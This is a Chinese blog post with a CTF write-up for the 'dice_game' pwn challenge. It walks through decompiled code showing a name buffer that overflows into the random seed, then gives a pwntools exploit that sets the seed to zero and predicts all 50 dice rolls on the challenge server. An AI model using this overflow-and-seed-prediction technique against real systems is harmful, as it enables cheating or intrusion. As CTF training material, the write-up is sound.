zoukankan      html  css  js  c++  java
  • 『攻防世界』:进阶区 | dice_game

    进过一小段时间的沉淀,发现自己是个小垃圾以外并没有什么收获,还是继续看看题过养老生活吧

    题目链接

    先检查程序:没有发现canary,有可能可以实现栈溢出操作

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    放进IDA进行静态分析:emmm,和新手区的guess_number非常相似,这题

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char buf[55]; // [rsp+0h] [rbp-50h]
      char v5; // [rsp+37h] [rbp-19h]
      ssize_t v6; // [rsp+38h] [rbp-18h]
      unsigned int seed[2]; // [rsp+40h] [rbp-10h]
      unsigned int v8; // [rsp+4Ch] [rbp-4h]
    
      memset(buf, 0, 0x30uLL);
      *(_QWORD *)seed = time(0LL);
      printf("Welcome, let me know your name: ", a2);
      fflush(stdout);
      v6 = read(0, buf, 0x50uLL);
      if ( v6 <= 49 )
        buf[v6 - 1] = 0;
      printf("Hi, %s. Let's play a game.
    ", buf);
      fflush(stdout);
      srand(seed[0]);
      v8 = 1;
      v5 = 0;
      while ( 1 )
      {
        printf("Game %d/50
    ", v8);
        v5 = sub_A20();
        fflush(stdout);
        if ( v5 != 1 )
          break;
        if ( v8 == 50 )
        {
          sub_B28((__int64)buf);
          break;
        }
        ++v8;
      }
      puts("Bye bye!");
      return 0LL;
    }

    sub_A20():

    signed __int64 sub_A20()
    {
      signed __int64 result; // rax
      __int16 v1; // [rsp+Ch] [rbp-4h]
      __int16 v2; // [rsp+Eh] [rbp-2h]
    
      printf("Give me the point(1~6): ");
      fflush(stdout);
      _isoc99_scanf("%hd", &v1);
      if ( v1 > 0 && v1 <= 6 )
      {
        v2 = rand() % 6 + 1;
        if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
          _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
        if ( v1 == v2 )
        {
          puts("You win.");
          result = 1LL;
        }
        else
        {
          puts("You lost.");
          result = 0LL;
        }
      }
      else
      {
        puts("Invalid value!");
        result = 0LL;
      }
      return result;
    }

    想要一只连续猜中50次,首先需要控制它的seed[],这里可以通过输入名字时通过buf覆盖seed

    -0000000000000050 buf             db 55 dup(?)
    -0000000000000019 var_19          db ?
    -0000000000000018 var_18          dq ?
    -0000000000000010 seed            dd 2 dup(?)

    控制了seed后再根据他提供的libc来生成随机数,这道题和guess_number基本一致,有不清楚的可以看我之前的那篇.

    参考exp:

    from pwn import *
    from ctypes import *
    
    io = remote("220.249.52.133",54506)
    
    libc = cdll.LoadLibrary("libc.so.6")
    io.recv()
    payload = 0x40*"a" + p64(0)
    io.sendline(payload)
    
    a = []
    for i in range(50):
        a.append(libc.rand()%6+1)
    print(a)
    for i in a:
        io.recv()
        print(io.recv())
        io.sendline(str(i))
    io.interactive()
  • 相关阅读:
    洛谷#P5652#基础博弈练习题
    hgoi#20191112
    hgoi#20191111
    hgoi#20191109
    洛谷#P3674#小清新人渣的本愿
    hgoi#20191108
    hgoi#20191107
    树上差分
    树链剖分(树剖)
    LCA(最近公共祖先)问题
  • 原文地址:https://www.cnblogs.com/Zowie/p/13469192.html
Copyright © 2011-2022 走看看